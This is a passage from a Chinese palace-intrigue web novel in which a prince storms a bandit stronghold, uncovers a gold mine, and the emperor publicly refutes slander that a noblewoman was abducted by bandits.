陆映溪的态度很坚决,“我只恨自己没能亲眼看到她被千人枕万人骑的情形,那至少,我也要看到她备受凌虐之后的凄惨下场!不然我就算是走也不会安心。娘,现在才是二月初,距离我的婚期还早,一切都来得及。” 方氏唯恐迟则生变,一再相劝,陆映溪却偏执得半个字都听不进,方氏拗不过她,最后只能给她下了半个月的最后通牒。 半个月后,不论陆知苒是死是活,有没有救回来,她都必须离开,陆映溪爽快地答应了。 萧晏辞回到城中时,就听到了满城议论,他的脸色顿时变得十分难看。 这些跳梁小丑,就等着被收拾吧! 一路疾驰,入了宫,直奔御书房。 “父皇,儿臣有急事!” 德丰帝正在与大臣议事,萧晏辞风风火火地闯了进来,通传太监都来不及阻拦。 德丰帝的脸上顿时露出几分不悦。 “毛毛躁躁的,像什么样子?便是有天大的事,都等不及通传一声?” 萧晏辞目光一扫,便看到了一个熟人,方成川。 德丰帝召见的是太常寺的官员,商讨太庙祭祖事宜。 方成川乃太常寺丞,自然也在其列。 原本萧晏辞从未把方家人放在眼里,今日倒是多看了他两眼。 他中等身形,容貌平平,蓄着两撇八字胡,眸底藏着一抹市侩与精明。 就这么个不起眼的人,胆子倒是不小。 一瞬收回目光,萧晏辞语气急切地开口,“父皇,十万火急的大事,儿臣实在是半刻都等不得。” 德丰帝眉头紧蹙,“何事?” “就在方才,贺连山下有山匪出没,劫持了一名恰好途径山下的小姐,还杀了不少人!” 方成川闻言,微垂的眼眸中有精光一闪而过。 德丰帝面色一沉,“当真?” 第122章 攻打灵猴寨 “此等大事,儿臣断不敢胡言。天子脚下,竟有匪徒胆大包天,肆意作乱,简直不把大齐律法放在眼里,不把父皇您放在眼里!朝廷若置之不理,怕要叫那等宵小匪徒气焰越发嚣张,也会叫百姓人心惶惶。” 德丰帝大手在案上重重一拍,“真是岂有此理!” 最近大齐国泰民安,诸事皆顺,德丰帝方才还在想,此次太庙祭祖,他的功德簿上又要添上几笔。 转眼就冒出了一伙山匪打他的脸。 萧晏辞跪下,声音慷慨激昂,“儿臣特向父皇请旨,带两千兵马,围剿贺连山山匪,以平此患!” 德丰帝大手一挥,“准!” “多谢父皇,儿臣定不负父皇所托,把逆贼的头颅砍下来,以儆效尤!” 方成川的眼皮狠狠跳了两下,手心渗出几分冷汗。 他用的都是家中养的死士,身份隐秘,做事牢靠,定然不会留下把柄。 萧晏辞拿着德丰帝的令牌,马不停蹄地去调兵。 行至城门口,他瞧见了一个熟悉的车驾,是萧宝珠。 她的马车匆匆往城外的某个方向而去。 萧晏辞转头吩咐两名心腹悄悄跟上,小心护送。 吩咐完他便驾马疾驰,匆匆离开。 接下来,还有一场硬仗要打。 陆贯轩觉得今日同僚们看他的眼神有些怪怪的。 最近陆家闹的笑话不少,陆贯轩都被这种眼神看麻木了。 陆家已经这样了,还能闹出什么笑话来? 没想到,竟然真的闹出了更大的笑话! 以往跟他不对付的一名同僚阴阳怪气地开口,“陆大人,你怎么还有心情在这当值?快回家看看吧!” 陆贯轩心里一个咯噔,“你这话什么意思?” 那人语气夸张,“你还不知道啊?令爱被山匪掳走了,现在外头传得沸沸扬扬的。” 陆贯轩一口气差点没上来。 “你,你胡说什么,她好端端地在家中待嫁,怎么可能被山匪掳走?” “陆大人,我说的不是贵府二小姐,是贵府大小姐,平乐县主呢!哎哎哎,陆大人你怎么晕倒了?快,快来人……” 户部瞬间乱作一团。 …… 此次剿匪的两千兵马,直接从城外的步兵中抽调。 楚翊安亦在此列。 朝廷突然要剿匪,众人都有些莫名,楚翊安却是精神大振。 或许,这会是他的一次机会,他定要牢牢把握。 但他没想到,此次带队剿匪的,竟是萧晏辞。 有他在,自己还有立功的机会吗?楚翊安的眸底多了几分幽深。 “你们听说了吗?朝廷突然剿匪,是因为有官家小姐被山匪掳走了!” “谁家小姐?这么倒霉。” “这就算救回来,也没脸活了吧,朝廷又何必浪费这心力。” 说完,大家发出一阵不怀好意的哄笑。 这时,一道迟疑的声音传来,“我听说,这次被掳走的人,好像是平乐县主。” 楚翊安原本默不作声地擦拭自己的佩剑,闻言他的手一抖,锋利的剑刃在手指上划出一道长长的口子,他却半点顾不上疼。 “你说什么?” 众人也被吓了一跳。 “你这从哪儿听说的?到底可不可靠?” “城里都在说这事,传得沸沸扬扬的。若不是平乐县主的话,朝廷怎会兴师动众地派兵剿匪?” 楚翊安握着剑,手背青筋冒了起来。 怎会是她? 好端端的,她跑出城做什么? 怎么旁人都没出事,就她被山匪掳走? 她若安安分分待在家中,又怎会出这样的事? 一个被山匪掳走的女人,还有什么脸面继续活着? 便是他的名声也要跟着被带累! 点好兵,萧晏辞率众出发。 除了这两千人手,萧晏辞还带上了自己的二十名心腹。 让大家感到不解的是,他们手里提着铁笼,笼子里竟装着猴子。 他们这是去耍猴不成? 贺连山的地势复杂,又是下雪的天气,山路并不好走。 行至半山腰,萧晏辞示意众人原地待命,他则带着心腹和那些猴子,悄然往山上去。 楚翊安眉头微蹙,身为主帅,怎能以身涉险,自己去当先锋? 就算他想争功表现,也不应如此冒进。 他要是出了事,他们这些人也要受到牵连。 众人静静等待,直到天色慢慢变暗,众人都有些焦躁起来。 贺昀心弦绷紧,十分担忧,但面上却半点不曾表露。 殿下特意命他留下,便是为了稳定军心,他不能自乱阵脚。 这山寨地形特殊,易守难攻,且此处藏着秘密,寨子的守卫十分严密。 除了东西南北四面的哨台日夜有人轮值,寨子里还养了一只灵猴,是以名为灵猴寨。 那灵猴十分机敏通灵性,有它守着,山下有任何风吹草动,灵猴寨的人都能第一时间知晓。 二十只母猴子,便是专为那只灵猴准备的。 终于,山上传来了约定的信号。 他们成功了! 贺昀大松了口气,立马正色,“众将士听命!分开队形,迅速上山!” 夜色降临,灵猴寨燃起了炊烟,时不时有女人和小孩的声音传来,俨然与寻常村落无异。 殊不知,危险正一步步慢慢降临。 一个矮个子男人喊道:“老大,吃饭了。” 满脸络腮胡的壮汉起身,锐利的目光在山下扫了一圈。 不知为何,他今夜眼皮一直不停地跳。 他吹了一声口哨,却不见灵猴出现,“那泼猴,又跑哪儿玩去了?” 矮个子笑道:“方才我瞧见有好几只母猴子来勾它,它这是去逍遥快活去了,老大,咱们先吃饭,吃完饭也快活快活去。” 络腮胡闻言,不再多说什么,抬步往屋里去。 不经意一个抬眸,瞥见了西面哨台上的那道人影,站得分外笔直。 络腮胡眼睛微微眯了眯,声如洪钟地喊了声,“驴蛋儿。” 那人毫无反应。 矮个子吆喝,“驴蛋儿,老大在喊你,你聋了不成?” 哨台上的那人依旧没有反应。 络腮胡眸光陡然一变,立马取来弓箭,拉满,朝那人射出一箭。 矮个子还没反应过来是怎么回事,斜后方就飞来另一支利箭,快如闪电,精准无比地击中络腮胡的那一箭。 “当!”一声脆响,络腮胡的利箭竟被拦腰斩断,无力地落了下来。 络腮胡面色大变,高声大吼,“有人偷袭寨子!大家拿工具!” 他话音刚落,又一支利箭从同样的位置袭来,直朝他后心。 络腮胡早有防备,身形敏捷地避开了,但后背不自觉渗出一股冷汗。 这两箭如同信号,小心隐藏的士兵立马现身,原本安静祥和的灵猴寨瞬间被打杀声淹没…… 第123章 合眼缘 经过两日发酵,陆知苒被山匪劫持的传言愈演愈烈。 瑾王亲自带兵两千,前往贺连山剿匪,此举更是应证了大家的猜测。 陆知苒在民间的名声很好,此事传开,幸灾乐祸者有之,但大多数人都为她感到心痛惋惜。 宣平侯府,姜氏母女对此感到大快人心。 楚云清语气恶毒,“那女人整日在外行商,抛头露面,难怪会被山贼盯上,活该。” 姜氏脸上也满是笑意,“都进了匪窝,还有什么救的必要?她要是有点气性,就该一刀抹了脖子,及早自我了结了,也能全了名声。” 赵书宁也觉得痛快极了。 她躲过了上一次,注定躲不过这一次,老天爷怎会一直站在她那边呢? 甚至,这一次的下场,远比上次更加惨烈千百倍。 她死后,产业就是陆家的了,希望方氏得力些,最好全都抢过来给陆映溪当陪嫁,如此一来,那偌大的财富就能为六皇子所用。 赵书宁正在脑中思忖着此事,就听楚云清再次开口,“兄长这几日不是去剿匪了吗?他不会就是去救陆知苒吧?” 赵书宁神色骤然一顿,心底不受控地再次掀起波澜。 他是受命参加剿匪,还是得知出事的人是陆知苒,才主动参与? 那个女人都已经名声尽毁,他还如此放不下? 男人果然都是贱骨头! …… 德丰帝得知此事,脸色也一下变了。 小七只说是有官家小姐被山匪掳走,却没告诉他,被掳走的竟是陆知苒! 陆知苒既是个合眼缘的后辈,也是能为他分忧解难的女军师,她突然遭遇这样的事,德丰帝的眉头便没有舒展过。 冯有才出声宽慰,“平乐县主吉人天相,定会平安无事的。” 德丰帝眉头蹙得更紧了,“经此一遭,她就算人没事,名声也全毁了。本就是二嫁之身,如此一来,怕是更难寻到好人家了。” “皇上一心为平乐县主考虑,如此拳拳爱护之心,实在令人动容。” 德丰帝感叹,“那孩子合朕眼缘,比朕那些亲生的都强多了。” 冯有才又道:“这兴许就是您和县主的缘分。皇上,您若实在怜惜县主,不若便替她好好挑一门亲事,有皇上做媒,旁人定然不敢作践县主。” 德丰帝露出沉思之色,竟真的在认真思考此事。 宫人准备摆膳,德丰帝没有什么胃口,索性起身,打算去萧宝珠的长乐宫一起用膳。 “与小九一道吃饭,朕总能多吃一大碗。” 没想到,他此番突然到访,却是不小心窥破了一桩秘密。 …… 翌日,早朝上又发生了一场热闹,赫然与陆知苒之案有关。 陆贯轩上折弹劾的是光禄寺少卿姜永康,也就是姜星熠的亲爹。 “姜大人管教不力,纵容其子在民间肆意宣扬微臣长女被山匪掳走这等子虚乌有之事,败坏微臣爱女之名声,其心可诛!微臣实在忍无可忍,请皇上下旨严惩,以儆效尤!” 陆贯轩义愤填膺,恨得几乎吃人。 朝中众臣不禁发出低低议论,陆家和姜家不是在议亲吗?而今闹这么一出,亲事还怎么继续? 陆贯轩最好面子,两家即将结亲,他本不会当朝跟人撕破脸。 但今日,实在是忍无可忍! 有关陆知苒的流言一起,姜家就派人登门,大言不惭陆家女儿名声有瑕,连带着陆映溪也不配进姜家门。但二人已有肌肤之亲,姜家便只能勉为其难地认下这门亲,只一点,陆映溪必须带上大量陪嫁才能进姜家门。 此番行径,简直是狮子大开口,陆贯轩和方氏都气得不轻。 陆贯轩呸了对方一脸,把人骂得狗血淋头,姜星熠那混账便公然在青楼楚馆宣扬陆知苒名节有损之事,陆贯轩一怒之下,这才上了这折子。 婚前就如此嚣张,成婚后,岂不是要骑到陆家头上来?如此亲家,不结也罢。 姜永康也不甘示弱地回击,“平乐县主的确是被山匪掳走,如何算是子虚乌有?犬子固然行事无状,但说的也都是事实。” 陆贯轩梗着脖子不承认,“胡说八道,她明明只是去庄子小住了,过段时间就会回来!” “陆大人你就骗一骗自己吧,若当真只是去庄子上小住,尊夫人为何要去京兆府报官?不若我们问问韩大人。” 韩大人便是新任的京兆尹。 一时所有人都朝他看来,他不得不出列,斟酌着开口。 “前两日,陆府的确派了人到京兆府报案,说平乐县主被山匪掳走了。不过目前此案尚在调查,尚未有定论。” 这番话十分圆滑,两头都不想得罪。 但陆贯轩和姜永康都只选择性地听到了自己想听的,又高声争执起来。 德丰帝静静听着二人的争执,眼神晦暗不明。 就在这时,殿外传来太监高亢尖锐的通传。 “瑾王殿下到!” 众臣皆有些意外,瑾王殿下剿匪这么快就回来了? 德丰帝眸中闪过一抹不易察觉的喜色,“传!” 萧晏辞大步流星而入,他身上穿着甲衣,甲衣上血迹斑斑,透着股肃杀冷意,但他的面上却带着股意气风发。 他跪下,朗声行礼,“儿臣参见父皇!前日儿臣奉命率两千兵甲突袭贺连山剿匪,经过一日一夜鏖战,幸不辱命,将匪窝攻下,全部山匪已尽数伏诛或擒拿归案!” 德丰帝闻言,面露大喜。 “好好好,好样的!” 立马有臣子开口恭维,顿时,朝堂之上都是对萧晏辞的夸赞之声。 萧晏清闻言,脸色晦暗。 很快,他重新扬起了笑脸,一副真心夸赞的模样。 “七弟勇猛无敌,屡立奇功,当真令为兄自愧不如。” 他朝某个方向递了个眼神,姜永康立马开口,急切追问,“不知瑾王殿下可救下了平乐县主?” 陆贯轩的脸上顿时笼上一层紧张,若瑾王殿下真的从匪窝把苒姐儿救出来了,那此事就再无辩解的余地了。 萧晏辞一双冷眸扫向他,语气冰冷不带一丝温度。 “姜大人此言何意?本王是上山剿匪,与平乐县主何干?” 姜永康顿了顿,“难道瑾王殿下上山剿匪不是去营救县主的吗?” “姜大人亲眼看到平乐县主被山匪掳走了?” 姜永康:“自然不是,但陆府报案,称平乐县主被山匪掳走了。” “是陆家的谁报的案?那人亲眼看到平乐县主被山匪掳走了?谁说的这话,到本王面前,本王与他当面对质。” 萧晏辞态度强硬,不容置疑,摆明了要护着陆知苒。 第124章 皇上亲自作保 姜永康被怼得面容微滞,脸上有些挂不住。 萧晏辞却不会给他面子,言辞更加犀利。 “本王拿下山寨之后,第一时间就派人搜查了全寨上下,寨子里的确有不少女人,但都是早些年掳上山的,近两年以来,他们没再下山劫掠。所谓平乐县主被山匪劫走纯属无稽之谈。” “此事诸位无人亲眼看到,如何能说得如此信誓旦旦?你们嘴巴两张皮,翻进翻出倒是简单,却把人姑娘家的名声踩到了脚底。此番不修口德,与那市井长舌妇又有何区别?” 姜永康被骂得灰头土脸,萧晏清也觉得自己好似被内涵了。 “长舌妇”这三个字,触发了他的某些回忆。 此前,德丰帝也曾这般斥责他。 方成川眸中闪过一丝晦暗。 瑾王与陆知苒早有勾连,他会替陆知苒打掩护也是情理之中。 但流言已起,又岂是他三言两语就能轻易压下去的? 此番强行维护,实乃欲盖弥彰。 陆贯轩感动得几乎落泪,更有种找到主心骨的感觉。 “对,对,女儿家的名声最是金贵,岂容尔等如此污蔑?” 德丰帝缓缓环顾众人,终于慢慢开了口,“尔等这般多人,竟全是人云亦云,偏听偏信之徒,我大齐有尔等这些‘栋梁之材’,不知天下要有多少冤假错案!” 帝王威严扑面而来,众臣连忙齐齐跪下请罪。 德丰帝的怒气起了调,便再也压不住。 他伸手指着堂下众臣,“前头诋毁平乐县主囤积居奇之事还历历在目,而今竟然又有人胆敢在背后弄鬼,真是岂有此理!” “今日,朕便亲自作证,这些时日,平乐县主一直待在长乐宫,与九公主作伴!就在昨日,朕还亲眼见到了她。什么被山匪掳劫,坏了名节,纯属谣言!” 他昨日去长乐宫用膳,便在那里瞧见了陆知苒。 一番询问,方知事情始末,更见识到了何为三人成虎。 此言一出,众臣皆惊,便是陆贯轩也一脸懵。 姜永康的后背迅速被冷汗打湿,方成川更是惊得瞳孔猛缩,满是难以置信。 这,怎么可能? “来人,传平乐县主!” 陆知苒款款而来,甫一现身,堂下众人的表情顿时变得精彩起来。 “臣女拜见皇上。” “平乐,你且向大家说说,这些时日你都在何处?” 陆知苒保持着行礼的姿势,语气不卑不亢。 “回皇上,三日前,臣女欲到庄子上视察,但中途受九公主相邀,便临时改了行程,入宫与公主作伴,我们二人相谈甚欢,公主亦一再挽留,臣女便忝颜小住了几日。” “宫中与外界隔绝,消息闭塞,臣女竟不知,短短三日时间,外头竟发生了这般翻天覆地的变故。臣女怀疑,这一切都是有心人在背后刻意引导,目的就是为了诋毁臣女的名声。还请皇上替臣女做主!” 德丰帝语气沉沉,“你乃大齐功臣,却一再遭人污蔑诋毁,若朕无所作为,岂非寒了功臣的心?朕定会派人彻查此事,还你一个公道!” 陆知苒叩首跪拜,“臣女叩谢皇恩。” “你先退下吧。” 陆知苒依言退下,余光不经意地瞟向方成川的方向,唇角勾起一抹意味深长的笑。 方成川后背一凉。 德丰帝冷厉的目光扫向众人,“都听清楚了?” 无人吭声。 “姜永康,你怎么不说话了?方才不是说得很欢实吗?” 姜永康颤颤叩首,“微臣听信谣言,误会了平乐县主,微臣罪该万死!请皇上降罪!” “的确该罚!你身为朝廷命官,不修口德,搬弄是非,恶语伤人,德不配位,便降职一等,罚俸半年,小惩大诫。若敢再犯,直接褫夺官位!” 姜永康身子抖若筛糠,声音颤颤巍巍,“微臣领旨谢恩。” 这一番敲打让众人心头凛然生畏,也再次意识到了陆知苒在皇上心中的分量。 方成川的手心被冷汗打湿。 究竟是陆知苒手眼通天,巧妙地避开了他们设的局?还是德丰帝有意保她,故意在朝臣面前做了这么一场戏? 不管究竟是哪一种,此局他们都败了。 有皇上亲自为陆知苒的名声作保,他们只能收手,不能再以此事做文章。 是他小瞧了陆知苒,也低估了他在皇上心中的分量! 不过好在,自己不曾暴露。 此计不成,再作筹谋便是。 谁料,这个念头刚起,就听萧晏辞再次开了口。 “父皇,儿臣还有一事未及禀明。三日前,在贺连山脚下的确有匪徒出没,意欲劫持路过行人车马,儿臣恰在收容所附近,当时便抓到了几个活口。” “儿臣本以为他们是贺连山的山匪,但攻入山寨后,儿臣让双方当面对质,发现那几人说了谎,他们并非真正的山匪,此事大有蹊跷,只是儿臣并非刑讯的专业人手,一时撬不开他们的嘴。” 方成川的心狠狠漏跳几拍。 他派出去的人只回来了一小半,他们都说,其余人已经被真正的山匪灭口了,就算没有灭口,他们也会自行了断,不可能还活着! 他这般安慰自己,但一颗心却如同热锅上的蚂蚁,焦灼不安。 德丰帝的面容瞬间冷沉如寒冰,大手在桌上重重一拍。 “审,给朕严加审问!但凡他们还剩一口气,都要把他们的嘴撬开!朕倒是要看看,究竟是何人如此胆大包天,竟敢在天子脚下行凶作乱!” 刑部尚书秦中举立马主动请缨,“皇上,微臣自请负责此案,但凡进了刑部的门,便是再硬的嘴,微臣也定能撬开。” 萧晏辞却道:“方才本王已经顺道把此次抓获的一干人等尽数移交到大理寺的牢中,就不劳烦秦大人费心了。” 秦中举脸色微僵,萧晏清的眼底更是瞬间笼上阴霾。 大理寺卿宋山辉与秦中举素来不对付,他立马站出来表态,“下官定连夜严审一干要犯,揪出幕后主使,不辜负瑾王的一片信任。” 秦中举便是想抢活儿,这会儿也有些插不进话了。 德丰帝想起上回方家一案,傅子诚办得干脆利落,甚是不错,他已升任大理寺少卿,此桩案子交到大理寺最是稳妥。 德丰帝一锤定音,“好,此案便交由大理寺全权负责,定要办妥了,不可出半点岔子。” 宋山辉高声道:“微臣领旨!” 秦中举脸色僵硬,转头看向萧晏清,后者恼怒地剜了他一眼。 方成川垂着头,掩住了眸底的那抹慌乱。 第125章 进献金矿 “诸位爱卿可还有本要奏?有本启奏,无事退朝。” 萧晏辞笑道:“父皇,您还没赏儿臣呢。” 德丰帝被他气笑了,“有你这么不客气的吗?行了,少不了你的赏。” “那父皇您先别急,儿臣这还有一件东西要进献给您,您看完了再一块儿赏。” 德丰帝一脸狐疑地看着他。 萧晏辞从袖中掏出了一块用布包着的东西,“这是儿臣在那山寨里搜出来的东西,父皇您瞧瞧。” 众臣都伸长了脖子去瞧,却没瞧出个端倪来。 冯有才亲自上前接过,呈递到了德丰帝案前。 “朕倒要看看你又在耍什么把戏。” 德丰帝掀开了那块布,看到了里面的东西,眸光骤然一顿。 那块布包着的赫然是一块石头,但却不是普通的石头,里面还隐有不少金色的东西,就像是…… 众臣离得远,瞧不清具体细节,便只看到了一块平平无奇的石头。 萧晏清故作疑惑地问,“小七,你给父皇送一块石头做什么?莫不是故意戏耍父皇?” 萧晏辞慢条斯理地道:“就算只是一块石头,也是我对父皇的一番心意,怎么到了六皇兄的口中,就成了故意戏耍?你可别挑拨我们的父子关系。” 他说话直白,萧晏清被怼得有些下不来台。 “更何况,这也不是一块普通的石头。” 萧晏清冷笑嘲讽,“不是一块普通的石头,难道还能变出金子来不成?” 萧晏辞挑眉一笑,“六皇兄怎么知道,这块石头还真的能变出金子来。” 萧晏清心头一跳,生出一个不祥的预感。 萧晏辞不再看他,朗声开口,“父皇,儿臣在灵猴寨意外发现了一个大秘密。这山寨里,竟然藏着一个刚开挖没多久的金矿,那伙山匪之所以盘踞于此,便是一直躲在山上偷偷采挖金矿。” 众臣哗然。 萧晏清脸上的表情僵住,化作了难以置信的震惊。 为什么每次萧晏辞的运气都这么好?难道连老天爷也站在他那边吗? 德丰帝都有些失态,“这,当真?” 萧晏辞一脸正色,“如此大事,儿臣岂敢信口开河?父皇您手里的那块石头,便是儿臣在那金矿里随手捡的。那处金矿十分可观,儿臣估计,少说有数百万两之多。” 众人再次倒吸凉气。 “那伙山匪采挖技术低端拙劣,有不少损耗,若朝廷派出专门的匠人小心采挖,定能最大程度避免损耗。届时,朝廷的国库就能填得满满当当的了。” 德丰帝喜得面色涨红,激动难当。 “太好了!简直太好了!小七,这次你又立下了大功啊!当赏,当重赏!” 萧晏辞笑道:“父皇,是您一心为民,不惜兴师动众铲除匪患,儿臣才有机会发现这金矿,此事您才是真正的首功。我大齐朝正是有您这样的明君,才会有此机缘,在您的带领下,大齐朝定能迎来万国朝拜的盛况。” 立马就有臣子跪下,高呼德丰帝乃举世明君,德丰帝被这马屁拍得红光满面,朗声大笑。 萧晏清心中那股嫉妒的火苗疯狂往上蹿,怎么都压不住。 若这金矿是他发现的该有多好! 他才不会傻到主动上交,有了偌大的金矿在手,他何须再为银子发愁? 但面上他却不敢有半分表露,反而要撑起笑脸,跟着一起附和。 德丰帝看着萧晏辞,眼底满是笑意。 “你小子,倒是把溜须拍马那一套学了个十成十。” 萧晏辞一脸正色,“儿臣这哪儿是溜须拍马,儿臣是在说实话。是您爱民如子,老天爷才会给您如此馈赠。” 德丰帝被他夸得整个人都飘了,嘴角的笑意压不住。 笑骂一句,“油嘴滑舌。说说,你想要什么?朕一时之间,倒是不知该如何赏你了。” 萧晏辞神色认真,“父皇,这次上山剿匪的众士兵们都很卖力,您便给他们都厚赏一番吧。” “这还用你说?朕自然要好好赏他们。说说你想要什么。” 萧晏辞故作遗憾地长长叹息一声,“儿臣倒是想要赏赐,但命格里天生不存财,也只能过过眼瘾罢了。” 德丰帝故意道:“那这么说,你是不想要赏赐了?既如此,朕倒是省了一笔。” 萧晏辞忙道:“既然父皇执意要赏,儿臣倒是真的有一个小小的请求。” “说。” 萧晏辞换上了一副郑重之色,“父皇,儿臣想为收容所的百姓们求一个恩典。此次寒冬,大雪连绵至今依旧未停,不少百姓的房屋都已经被大雪压塌。来日天气回暖,他们怕是也无家可住。儿臣斗胆,请父皇为此次受灾的百姓们重新修葺房屋,让他们能有片瓦遮身。” 此言一出,众臣看向萧晏辞的眼神都变了。 谁都没想到,他竟会主动开口,为百姓们谋福利。 萧晏清袖中的拳头瞬间握紧,一股前所未有的危机感袭遍全身。 萧晏辞他当真好谋算。 他借此机会,当众为百姓们求这么一个福利,不仅父皇和朝中官员们会高看他几眼,更重要的是,萧晏辞在百姓中也会更得民心! 他看似什么赏赐都没有求,但却已经得到了比寻常赏赐多得多的好处! 以往他表现出的那副纨绔模样,只怕是装出来的! 自己这是看走眼了。 经此一事,萧晏辞的风头更加压不住了,他必须要想法子除掉他! 德丰帝眼底满是诧异,旋即,他看着萧晏辞的眼神不禁多了几分难掩的复杂。 “你倒是敢开口,一张口就让朕往外掏那么多银子。” 大家都听得出来,德丰帝并无不悦,语气中甚至还带着一丝欣慰。 “父皇心系百姓,一心为百姓的生计操心,这份心,又岂是区区银子可以衡量的?” 德丰帝哼笑一声,“你可知为百姓修葺房屋要花费多少?区区银子?你倒是口气不小!” 萧晏辞笑道:“这笔银子的确不少,但跟贺连山的金矿相比,便是九牛一毛,不值一提。百姓们一直感念父皇的仁义之心,若父皇再为他们修葺屋舍,他们对您定会感恩戴德,奉若神明。来日史书上,父皇的功绩簿上又能多添一笔。” 第126章 负荆请罪 萧晏辞的这番话,字字句句都说到了德丰帝的心坎上。 哪个帝王不想被万民感激?不想名垂千史? 在条件充沛的前提下,德丰帝非常乐意去做利国利民,还能维护自己名声之事。 德丰帝大手一挥,“好,此事,朕答应了!” 萧晏辞立马跪下叩首,“父皇英明,有此明主,真乃大齐之幸,百姓之福也。” 众臣亦是齐齐跪下高呼,“皇上英明。” 德丰帝心情大好,不禁捋须大笑。 “好好好,能有诸位爱卿一齐辅佐,也是朕之福气。” 又看向萧晏辞,“瑾王此次顺利剿除匪患,还发现了金矿,立下大功,赐令牌一枚,特许你一次便宜行事之权,望你克己慎行,戒骄戒躁,莫要因此便得意忘形,骄傲自满。” 萧晏辞的眼睛倏而一亮,嘴上却是插科打诨,“只有一次便宜行事之权?父皇您未免太小气了些。” 德丰帝把脸一板,“嫌少?那就算了,那令牌你别要了。” “要要要,父皇赏赐,儿臣岂有不要之理?更何况,君无戏言,您许出去的赏赐怎能随便撤回?” 德丰帝笑骂他一句,萧晏辞美滋滋地领旨谢恩了。 萧晏清看着这一幕,牙齿都要咬碎了。 众朝臣也不禁用全新的目光审视这位瑾王殿下。 他可真是不鸣则已,一鸣惊人。 而今再看,原本温良谦恭,温润如玉的六皇子,倒是差点意思了。 …… 长乐宫。 陆知苒看着萧宝珠,真心实意地道:“公主,此次之事,多谢你帮忙。” 她的整个计划里,萧宝珠起到了至关重要的作用。 从一开始窥破方家人的计划,她便请求萧宝珠帮忙。 方家人以为她被山匪劫走,肆意诋毁污蔑她的名声,殊不知,她早就被萧宝珠接入长乐宫,好吃好喝地住着,萧宝珠就是她的证人。 那日萧晏辞碰到萧宝珠的马车出城,便是她依计划去城外接人。 而德丰帝的“意外”撞破,也并非真的意外,是萧宝珠的主意。 她说:“我自然愿意给你作证,但我这个证人,哪里有父皇好用?有父皇亲自做你的人证,我倒要看看谁还敢污蔑你。” 事情发展得很顺利,德丰帝在长乐宫看到了她。 今日朝会上,姜永康那番大言不惭的言论,直接撞到了枪口上。 德丰帝亲自为她作保,今日之后,无人再敢妄议她被山匪劫走。 这一仗,她赢了。 接下来,该轮到方家人着急了。 萧宝珠豪迈地拍了拍胸脯,“小事一桩,有什么好谢的?你能第一时间想到我,我高兴还来不及。而且这三天,有你陪着我,我也很开心。” 她笑得眉眼弯弯,整个人都活泼明媚,似一轮小太阳。 她虽贵为公主,却从未有真正被人需要的时候。 这次,陆知苒的主动求助让她有了被需要的感觉,而今事情办成了,她更觉得充满成就感,整个人都骄傲得不行。 陆知苒眸底不禁多了几分温柔的笑意。 自己何德何能,能得她如此真心相待? “苒姐姐,你在宫里陪我多住几天吧。” 看着对方充满期盼的眼神,陆知苒很想答应,但却不得不摇头拒绝。 “今日之后,外面的局势定会发生扭转,我不能再继续躲在宫里,是时候主动露面了。” 萧宝珠闻言,心中虽然有些遗憾,也没有再强求。 散朝后,德丰帝的心情依旧很好,唇角的弧度便没有放下去过。 “朕恍惚觉得,小七到处惹祸的情形似还在昨日,没想到,转眼间他就变得这般懂事了。这几次,他着实替朕分忧不少。” 冯有才笑道:“瑾王殿下是龙子龙孙,本就天赋卓绝,非比常人,以往只是还没开窍罢了。” 德丰帝眉眼笑意更浓。 “他也算是大器晚成了。” 正这时,有宫人入内,向德丰帝回禀了他吩咐查的一件事:陆知苒是何时入的宫? 德丰帝可不似萧宝珠以为的那么稀里糊涂。 宫人回禀称,陆知苒是在流言爆发之后,才被萧宝珠悄悄接入的宫。 她是真的不知外面的流言,还是明知如此,才有意躲进宫中,让流言发酵? 她是这场意外的受害者,还是稳坐钓鱼台的操控者? 德丰帝的眸底多了一层意味不明的神色。 “此女不简单啊。” 冯有才暗觑着德丰帝神色,一时有些看不透他心中所想。 “宝珠若有她一半的聪慧,朕就不用担心了。” 冯有才忙道:“九公主亦是聪慧不凡……” 德丰帝摆摆手,“你可别往她脸上贴金了,若旁人有心害她,她怕是还要傻乎乎地给别人数钱。” 冯有才小心翼翼地道:“皇上可是恼了平乐县主?” 德丰帝轻哼一声,“朕真心实意为她担心一场,到头来倒成了自作多情,朕不该生气?” 冯有才一时不敢接话了。 正这时,外头传来宫人的通禀,“平乐县主求见。” 德丰帝眸光微动,旋即挺直了背脊,端起了一派严肃之色。 “宣吧。” 他倒是要听听,此女要如何巧言令色,为自己辩解。 陆知苒下跪行礼,德丰帝淡声叫起,她却没有起。 “皇上,臣女是来向您负荆请罪的。” 德丰帝故作疑惑,“哦?你可是大齐的大功臣,何罪之有?” 陆知苒低垂着头,语气诚恳。 “先前,臣女欺瞒了皇上。臣女早便知晓了宫外的风波,只是躲在宫中,故作不知罢了。臣女利用了公主,也利用了皇上,借着你们之手为臣女的名声正名,臣女有罪!” 德丰帝神色锐利,“你为何这么做?” “为了引蛇出洞,永绝后患。” 陆知苒的语气多了一丝冷意,“臣女最近风头太盛,已然成为了某些人的眼中钉,肉中刺,在贺连山脚下,臣女的确遭遇了一场蓄谋已久的劫持,只是侥幸逃脱罢了。” “对方伪装成山匪,是要彻底毁了臣女的名声,臣女不想日日被人盯着,时时刻刻提防着,便索性藏起来,好让对方放松警惕。” “公主性子天真纯良,待臣女一心一意,毫不犹豫便答应配合臣女做戏,臣女对公主却有利用之心,对皇上亦有所隐瞒,不敢坦诚相待,臣女辜负了公主和皇上的信任,罪该万死!” 第127章 替她邀功 说完,她便重重叩头,久久伏地不起。 萧宝珠理所当然地以为皇上能被糊弄过去,但陆知苒却没那么天真。 他乃一国之君,明察秋毫,他只要对此事存有一丝怀疑,就有法子追查到底。 若由德丰帝追查出真相来,她好不容易建立起的君臣和睦关系,就会出现裂痕。 所以,她必须负荆请罪。 她在赌,赌自己这个功臣在德丰帝心中的分量。 若她赌对了,此事就能揭过去。 若没赌对…… 上首之人迟迟没有开口,陆知苒只感受到了一股沉沉的威严。 “你胆子倒是不小。” “臣女罪该万死,请皇上降罪!” 半晌,德丰帝冷哼一声,“念在你主动请罪的份儿上,朕便饶你这一回。” 闻听此言,陆知苒狠狠松了口气。 她语气欣喜,“多谢皇上仁慈宽厚!” “只此一次,下回你若再敢如此胆大妄为,便休怪朕不念旧情。” 陆知苒重重叩首,“臣女定谨记此次教训,不敢再犯。” 凡事可一不可二,一再冒犯帝王威严,那便与自取灭亡无异,她比任何人都清楚这一点。 陆知苒恭敬告退,德丰帝脸上笼上几分冷意。 “朕也想看看,此事究竟还能牵扯出什么牛鬼蛇神来。” 